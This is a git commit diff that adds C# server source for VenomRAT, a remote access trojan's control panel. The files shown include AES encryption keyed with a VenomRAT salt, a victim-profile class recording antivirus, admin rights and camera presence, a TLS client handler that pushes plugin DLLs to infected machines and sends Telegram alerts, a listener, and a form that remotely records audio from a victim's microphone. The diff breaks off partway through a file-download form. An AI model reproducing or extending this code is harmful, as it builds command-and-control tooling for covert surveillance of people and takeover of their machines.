This commit is contained in:
Anonymous 2023-07-29 23:37:10 +05:30
parent c6c629437c
commit 85f5411b6e
158 changed files with 220479 additions and 4 deletions

2
.gitattributes vendored
View File

@ -1,2 +0,0 @@
# Auto detect text files and perform LF normalization
* text=auto

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
.DS_STORE

120
Algorithm/Aes256.cs Normal file
View File

@ -0,0 +1,120 @@
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
namespace Server.Algorithm;
public class Aes256
{
private const int KeyLength = 32;
private const int AuthKeyLength = 64;
private const int IvLength = 16;
private const int HmacSha256Length = 32;
private readonly byte[] _key;
private readonly byte[] _authKey;
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("VenomRATByVenom");
public Aes256(string masterKey)
{
if (string.IsNullOrEmpty(masterKey))
{
throw new ArgumentException("masterKey can not be null or empty.");
}
using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
_key = rfc2898DeriveBytes.GetBytes(32);
_authKey = rfc2898DeriveBytes.GetBytes(64);
}
public string Encrypt(string input)
{
return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
}
public byte[] Encrypt(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
using MemoryStream memoryStream = new MemoryStream();
memoryStream.Position = 32L;
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = _key;
aesCryptoServiceProvider.GenerateIV();
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
cryptoStream.Write(input, 0, input.Length);
cryptoStream.FlushFinalBlock();
using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
memoryStream.Position = 0L;
memoryStream.Write(array, 0, array.Length);
}
return memoryStream.ToArray();
}
public string Decrypt(string input)
{
return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
}
public byte[] Decrypt(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
using MemoryStream memoryStream = new MemoryStream(input);
using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = _key;
using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
{
byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] array = new byte[32];
memoryStream.Read(array, 0, array.Length);
if (!AreEqual(a, array))
{
throw new CryptographicException("Invalid message authentication code (MAC).");
}
}
byte[] array2 = new byte[16];
memoryStream.Read(array2, 0, 16);
aesCryptoServiceProvider.IV = array2;
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
byte[] array3 = new byte[memoryStream.Length - 16 + 1];
byte[] array4 = new byte[cryptoStream.Read(array3, 0, array3.Length)];
Buffer.BlockCopy(array3, 0, array4, 0, array4.Length);
return array4;
}
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
private bool AreEqual(byte[] a1, byte[] a2)
{
bool result = true;
for (int i = 0; i < a1.Length; i++)
{
if (a1[i] != a2[i])
{
result = false;
}
}
return result;
}
}

14
Algorithm/GetHash.cs Normal file
View File

@ -0,0 +1,14 @@
using System;
using System.IO;
using System.Security.Cryptography;
namespace Server.Algorithm;
public static class GetHash
{
public static string GetChecksum(string file)
{
using FileStream inputStream = File.OpenRead(file);
return BitConverter.ToString(new SHA256Managed().ComputeHash(inputStream)).Replace("-", string.Empty);
}
}

29
Algorithm/Sha256.cs Normal file
View File

@ -0,0 +1,29 @@
using System.Security.Cryptography;
using System.Text;
namespace Server.Algorithm;
public static class Sha256
{
public static string ComputeHash(string input)
{
byte[] array = Encoding.UTF8.GetBytes(input);
using (SHA256Managed sHA256Managed = new SHA256Managed())
{
array = sHA256Managed.ComputeHash(array);
}
StringBuilder stringBuilder = new StringBuilder();
byte[] array2 = array;
foreach (byte b in array2)
{
stringBuilder.Append(b.ToString("X2"));
}
return stringBuilder.ToString().ToUpper();
}
public static byte[] ComputeHash(byte[] input)
{
using SHA256Managed sHA256Managed = new SHA256Managed();
return sHA256Managed.ComputeHash(input);
}
}

83
Connection/ClientInfo.cs Normal file
View File

@ -0,0 +1,83 @@
using System.Collections.Generic;
using Params;
namespace Server.Connection;
public class ClientInfo
{
public string tooltip = string.Empty;
public List<string> apps = new List<string>();
public List<string> runningapps = new List<string>();
public KeylogParams keyparam = new KeylogParams();
public string summary => $"{ip}:{port}";
public string ip { get; set; } = string.Empty;
public int port { get; set; }
public string note { get; set; } = string.Empty;
public string country { get; set; } = string.Empty;
public string group { get; set; } = string.Empty;
public string hwid { get; set; } = string.Empty;
public string desktopname { get; set; } = string.Empty;
public string user { get; set; } = string.Empty;
public string cpu { get; set; } = string.Empty;
public string gpu { get; set; } = string.Empty;
public string ram { get; set; } = string.Empty;
public bool camera { get; set; }
public string os { get; set; } = string.Empty;
public string version { get; set; } = string.Empty;
public bool admin { get; set; }
public string permission
{
get
{
if (!admin)
{
return "User";
}
return "Admin";
}
}
public string defender { get; set; } = string.Empty;
public string installed { get; set; } = string.Empty;
public string ping { get; set; } = "0 MS";
public string activewin { get; set; } = "";
}

342
Connection/Clients.cs Normal file
View File

@ -0,0 +1,342 @@
using System;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Media;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Threading;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Newtonsoft.Json;
using Server.Algorithm;
using Server.Forms;
using Server.Handle_Packet;
using Server.Helper;
using Server.Properties;
using Server.ReverseProxy;
namespace Server.Connection;
public class Clients
{
public Socket TcpClient { get; set; }
public SslStream SslClient { get; set; }
public ListViewItem LV2 { get; set; }
public string ID
{
get
{
return info.hwid;
}
set
{
info.hwid = value;
}
}
private byte[] ClientBuffer { get; set; }
private long HeaderSize { get; set; }
private long Offset { get; set; }
private bool ClientBufferRecevied { get; set; }
public object SendSync { get; set; }
public long BytesRecevied { get; set; }
public string Ip { get; set; }
public bool IsAdmin => info.admin;
public ClientInfo info { get; set; } = new ClientInfo();
public DateTime LastPing { get; set; }
public void SaveInfo()
{
string path = Path.Combine(Application.StartupPath, "ClientsFolder", Ip, "note.json");
try
{
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder", Ip));
File.WriteAllText(path, JsonConvert.SerializeObject(info));
}
catch
{
}
}
public void LoadInfo()
{
string path = Path.Combine(Application.StartupPath, "ClientsFolder", Ip, "note.json");
try
{
info = JsonConvert.DeserializeObject<ClientInfo>(File.ReadAllText(path));
}
catch
{
}
}
public string GetGroupString()
{
switch (Settings.groupby)
{
case GROUP_TYPE.LOCATION:
return info.country;
case GROUP_TYPE.OS:
return info.os;
case GROUP_TYPE.GROUP:
return info.group;
case GROUP_TYPE.DEFENDER:
return info.defender;
case GROUP_TYPE.NOTE:
if (!string.IsNullOrEmpty(info.note))
{
return info.note;
}
return "Empty";
default:
return "Default";
}
}
public Clients(Socket socket)
{
SendSync = new object();
TcpClient = socket;
Ip = TcpClient.RemoteEndPoint.ToString().Split(':')[0];
SslClient = new SslStream(new NetworkStream(TcpClient, ownsSocket: true), leaveInnerStreamOpen: false);
SslClient.BeginAuthenticateAsServer(Settings.VenomServer, clientCertificateRequired: false, SslProtocols.Tls, checkCertificateRevocation: false, EndAuthenticate, null);
}
private void EndAuthenticate(IAsyncResult ar)
{
try
{
SslClient.EndAuthenticateAsServer(ar);
Offset = 0L;
HeaderSize = 4L;
ClientBuffer = new byte[HeaderSize];
SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
}
catch
{
SslClient?.Dispose();
TcpClient?.Dispose();
}
}
public void ReadClientData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected)
{
Disconnected();
return;
}
int num = SslClient.EndRead(ar);
if (num > 0)
{
HeaderSize -= num;
Offset += num;
if (!ClientBufferRecevied)
{
if (HeaderSize == 0L)
{
HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
if (HeaderSize > 0)
{
ClientBuffer = new byte[HeaderSize];
Offset = 0L;
ClientBufferRecevied = true;
}
}
else if (HeaderSize < 0)
{
Disconnected();
return;
}
}
else
{
lock (Settings.LockReceivedSendValue)
{
Settings.ReceivedValue += num;
}
BytesRecevied += num;
if (HeaderSize == 0L)
{
ThreadPool.QueueUserWorkItem(new Packet
{
client = this,
data = ClientBuffer
}.Read, null);
Offset = 0L;
HeaderSize = 4L;
ClientBuffer = new byte[HeaderSize];
ClientBufferRecevied = false;
}
else if (HeaderSize < 0)
{
Disconnected();
return;
}
}
SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
}
else
{
Disconnected();
}
}
catch
{
Disconnected();
}
}
public void Disconnected()
{
Program.mainform.Invoke((MethodInvoker)delegate
{
try
{
if (Program.mainform.RemoveClient(this))
{
if (LV2 != null)
{
lock (Settings.LockListviewThumb)
{
LV2.Remove();
}
}
new HandleLogs().Addmsg("Client " + Ip + " disconnected.", Color.Red);
TelegramNotify.SendNotify("VenomRAT: " + Ip + " disconnected!");
if (TimeZoneInfo.Local.Id == "China Standard Time" && Server.Properties.Settings.Default.Notification)
{
SoundPlayer soundPlayer = new SoundPlayer(Resources.offline);
soundPlayer.Load();
soundPlayer.Play();
}
{
foreach (AsyncTask item in FormMain.listTasks.ToList())
{
item.doneClient.Remove(ID);
}
return;
}
}
}
catch
{
}
});
try
{
SslClient?.Dispose();
TcpClient?.Dispose();
}
catch
{
}
}
public void SendProxyCommand(ReverseProxyCommand cmd, ReverseProxyCommands tp)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "ReverseProxy";
msgPack.ForcePathObject("json").AsString = JsonConvert.SerializeObject(cmd);
msgPack.ForcePathObject("type").AsInteger = (long)tp;
Send(msgPack.Encode2Bytes());
}
public void Send(object msg)
{
lock (SendSync)
{
try
{
if (!TcpClient.Connected)
{
Disconnected();
}
else
{
if ((byte[])msg == null)
{
return;
}
byte[] array = (byte[])msg;
byte[] bytes = BitConverter.GetBytes(array.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(bytes, 0, bytes.Length);
if (array.Length > 1000000)
{
using (MemoryStream memoryStream = new MemoryStream(array))
{
int num = 0;
memoryStream.Position = 0L;
byte[] array2 = new byte[50000];
while ((num = memoryStream.Read(array2, 0, array2.Length)) > 0)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(array2, 0, num);
lock (Settings.LockReceivedSendValue)
{
Settings.SentValue += num;
}
}
return;
}
}
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(array, 0, array.Length);
SslClient.Flush();
lock (Settings.LockReceivedSendValue)
{
Settings.SentValue += array.Length;
return;
}
}
}
catch
{
Disconnected();
}
}
}
public void SendPlugin(string hash)
{
try
{
string[] files = Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly);
foreach (string text in files)
{
if (hash == GetHash.GetChecksum(text))
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").SetAsString("save_Plugin");
msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(text)));
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(text));
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
new HandleLogs().Addmsg("Plugin " + Path.GetFileName(text) + " Sent to " + Ip, Color.Blue);
break;
}
}
}
catch (Exception ex)
{
new HandleLogs().Addmsg("Clinet " + Ip + " " + ex.Message, Color.Red);
}
}
}

50
Connection/Listener.cs Normal file
View File

@ -0,0 +1,50 @@
using System;
using System.Drawing;
using System.Net;
using System.Net.Sockets;
using System.Windows.Forms;
using Server.Handle_Packet;
namespace Server.Connection;
internal class Listener
{
private Socket Server { get; set; }
public void Connect(object port)
{
try
{
IPEndPoint localEP = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
SendBufferSize = 51200,
ReceiveBufferSize = 51200
};
Server.Bind(localEP);
Server.Listen(500);
new HandleLogs().Addmsg($"Listenning to: {port}", Color.Green);
Server.BeginAccept(EndAccept, null);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
Environment.Exit(0);
}
}
private void EndAccept(IAsyncResult ar)
{
try
{
new Clients(Server.EndAccept(ar));
}
catch
{
}
finally
{
Server.BeginAccept(EndAccept, null);
}
}
}

168
Forms/FormAudio.cs Normal file
View File

@ -0,0 +1,168 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Media;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Data.Mask;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Algorithm;
using Server.Connection;
namespace Server.Forms;
public class FormAudio : XtraForm
{
private SoundPlayer SP = new SoundPlayer();
private IContainer components;
private System.Windows.Forms.Timer timer1;
private Label label1;
public SimpleButton btnStartStopRecord;
private TextEdit textBox1;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormMain F { get; set; }
internal Clients ParentClient { get; set; }
internal Clients Client { get; set; }
public byte[] BytesToPlay { get; set; }
public FormAudio()
{
InitializeComponent();
base.MinimizeBox = false;
base.MaximizeBox = false;
}
private void btnStartStopRecord_Click(object sender, EventArgs e)
{
if (textBox1.Text != null)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "audio";
msgPack.ForcePathObject("Second").AsString = textBox1.Text;
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "plu_gin";
msgPack2.ForcePathObject("Dll").AsString = GetHash.GetChecksum("Plugins\\Audio.dll");
msgPack2.ForcePathObject("Msgpack").SetAsBytes(msgPack.Encode2Bytes());
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
Thread.Sleep(100);
btnStartStopRecord.Text = "Wait...";
btnStartStopRecord.Enabled = false;
}
else
{
MessageBox.Show("Input seconds to record.");
}
}
private void timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormAudio));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.label1 = new System.Windows.Forms.Label();
this.btnStartStopRecord = new DevExpress.XtraEditors.SimpleButton();
this.textBox1 = new DevExpress.XtraEditors.TextEdit();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(156, 33);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(46, 13);
this.label1.TabIndex = 3;
this.label1.Text = "seconds";
this.btnStartStopRecord.Location = new System.Drawing.Point(64, 61);
this.btnStartStopRecord.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnStartStopRecord.Name = "btnStartStopRecord";
this.btnStartStopRecord.Size = new System.Drawing.Size(137, 30);
this.btnStartStopRecord.TabIndex = 7;
this.btnStartStopRecord.Text = "Start Recording";
this.btnStartStopRecord.Click += new System.EventHandler(btnStartStopRecord_Click);
this.textBox1.EditValue = "10";
this.textBox1.Location = new System.Drawing.Point(64, 28);
this.textBox1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.textBox1.Name = "textBox1";
this.textBox1.Properties.MaskSettings.Set("MaskManagerType", typeof(DevExpress.Data.Mask.NumericMaskManager));
this.textBox1.Properties.MaskSettings.Set("MaskManagerSignature", "allowNull=False");
this.textBox1.Properties.MaskSettings.Set("mask", "d");
this.textBox1.Size = new System.Drawing.Size(86, 28);
this.textBox1.TabIndex = 8;
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(316, 178);
this.xtraTabControl1.TabIndex = 9;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.textBox1);
this.xtraTabPage1.Controls.Add(this.label1);
this.xtraTabPage1.Controls.Add(this.btnStartStopRecord);
this.xtraTabPage1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(314, 147);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(316, 178);
base.Controls.Add(this.xtraTabControl1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormAudio.IconOptions.Image");
base.IconOptions.ShowIcon = false;
this.MaximumSize = new System.Drawing.Size(318, 212);
this.MinimumSize = new System.Drawing.Size(318, 212);
base.Name = "FormAudio";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Audio Recorder";
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
base.ResumeLayout(false);
}
}

30
Forms/FormAudio.resx Normal file
View File

@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="FormAudio.IconOptions.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAqQIAAAKJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAsY8L/GEFAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA10RVh0VGl0bGUAUmVjb3JkO2HwWhoAAAIiSURBVDhPpU9dSFNxHJ0y2ioiRhgFSZBb2UN546Ig1TLSrLmw8iWiD6GgCLeitwgzZllrCEVYIEguKigoWIQUJfSBpubDXN2i6WzBGgyRkKjIl9P//NrWNXqJ/nDu/9zzxb0WAP+Fv4r/AnlommbRdV3woPmkrf/82WMDwbbBweC5LwQ5NXq5HDv5AafTKfeTlubivjOBkfj1a8j0RDDV+1BATo0eM8y6XK7fAw6Hw9Lta7K/aDk1Mtbdhc93b2IyfBUTnRcF5NToqUzsxlH/bHbyA+oU9Pj8x43LlzDR1YF0KIAh/xE8amwUkFOjxwyz7JgHrHd2NLwaD7XhU+AEhpoOoa+jE8abDzCMpPBh32HxmGGWHfOA7Vatd3rs4B4kDuzG4/37kIinkMpMCchFUx4zKvuDHfOAPeyumX7X4MFb7ybc27AeyfE0MpPfBMlEWjR6xk4Pwu7qr+zMGLiir40OVFfh9WY3ntZ70B8MIfUxIyB/vr1OPGaY/XPA1rq87HSkvBLRqkrEttXiWX0d7m90C8hj3hrxmGGWHfOAdeWceYvbl62ORzQdw+sqEN2qPnfvLgE5NXoqM8osO+aBAgX7lvlFFcElpfHbpavQu6YML8s1ATk15Y0ywyw75gGeQoW5i6yzSvyO4vbWopL3Fxa6vhPk1Ogxk83+6uYGsjcNri9QWKqwIgtyavQKZ3RyL6bD37Eq2BRYIMip0csfAJaf12QE9iKKr/gAAAAASUVORK5CYIIL</value></data></root>

181
Forms/FormCertificate.cs Normal file
View File

@ -0,0 +1,181 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Security.Cryptography.X509Certificates;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using Server.Helper;
namespace Server.Forms;
public class FormCertificate : XtraForm
{
private IContainer components;
private Label label1;
private SimpleButton button1;
private TextEdit textBox1;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormCertificate()
{
InitializeComponent();
}
private void FormCertificate_Load(object sender, EventArgs e)
{
try
{
string text = Application.StartupPath + "\\BackupServer.zip";
if (File.Exists(text))
{
MessageBox.Show(this, "Found a zip backup, Extracting (BackupServer.zip)", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
ZipFile.ExtractToDirectory(text, Application.StartupPath);
Settings.VenomServer = new X509Certificate2(Settings.CertificatePath);
Close();
}
}
catch (Exception ex)
{
MessageBox.Show(this, ex.Message, "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
}
private async void Button1_Click(object sender, EventArgs e)
{
try
{
if (string.IsNullOrWhiteSpace(textBox1.Text))
{
return;
}
button1.Text = "Please wait";
button1.Enabled = false;
textBox1.Enabled = false;
await Task.Run(delegate
{
try
{
string archiveFileName = Application.StartupPath + "\\BackupServer.zip";
Settings.VenomServer = CreateCertificate.CreateCertificateAuthority(textBox1.Text, 1024);
File.WriteAllBytes(Settings.CertificatePath, Settings.VenomServer.Export(X509ContentType.Pfx));
using (ZipArchive destination = ZipFile.Open(archiveFileName, ZipArchiveMode.Create))
{
destination.CreateEntryFromFile(Settings.CertificatePath, Path.GetFileName(Settings.CertificatePath));
}
Program.mainform.BeginInvoke((MethodInvoker)delegate
{
MessageBox.Show(this, "Remember to save the BackupServer.zip", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
Close();
});
}
catch (Exception ex3)
{
Exception ex4 = ex3;
Exception ex2 = ex4;
Program.mainform.BeginInvoke((MethodInvoker)delegate
{
MessageBox.Show(this, ex2.Message, "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
button1.Text = "OK";
button1.Enabled = true;
textBox1.Enabled = true;
});
}
});
}
catch (Exception ex)
{
MessageBox.Show(this, ex.Message, "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
button1.Text = "Ok";
button1.Enabled = true;
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormCertificate));
this.label1 = new System.Windows.Forms.Label();
this.button1 = new DevExpress.XtraEditors.SimpleButton();
this.textBox1 = new DevExpress.XtraEditors.TextEdit();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(49, 24);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(64, 13);
this.label1.TabIndex = 0;
this.label1.Text = "Sever name";
this.button1.Location = new System.Drawing.Point(89, 78);
this.button1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(243, 28);
this.button1.TabIndex = 1;
this.button1.Text = "OK";
this.button1.Click += new System.EventHandler(Button1_Click);
this.textBox1.EditValue = "VenomRAT Server";
this.textBox1.Location = new System.Drawing.Point(52, 44);
this.textBox1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(306, 28);
this.textBox1.TabIndex = 2;
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(412, 175);
this.xtraTabControl1.TabIndex = 3;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.label1);
this.xtraTabPage1.Controls.Add(this.textBox1);
this.xtraTabPage1.Controls.Add(this.button1);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(410, 144);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(412, 175);
base.ControlBox = false;
base.Controls.Add(this.xtraTabControl1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormCertificate.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormCertificate.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
this.MaximumSize = new System.Drawing.Size(414, 209);
this.MinimumSize = new System.Drawing.Size(414, 209);
base.Name = "FormCertificate";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "New Certificate";
base.Load += new System.EventHandler(FormCertificate_Load);
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

198
Forms/FormDownloadFile.cs Normal file
View File

@ -0,0 +1,198 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Net.Sockets;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using Server.Connection;
using Server.Helper;
namespace Server.Forms;
public class FormDownloadFile : XtraForm
{
public long FileSize;
private long BytesSent;
public string FullFileName;
public string ClientFullFileName;
private bool IsUpload;
public string DirPath;
private IContainer components;
public Timer timer1;
public Label labelsize;
private Label label3;
public Label labelfile;
public Label label1;
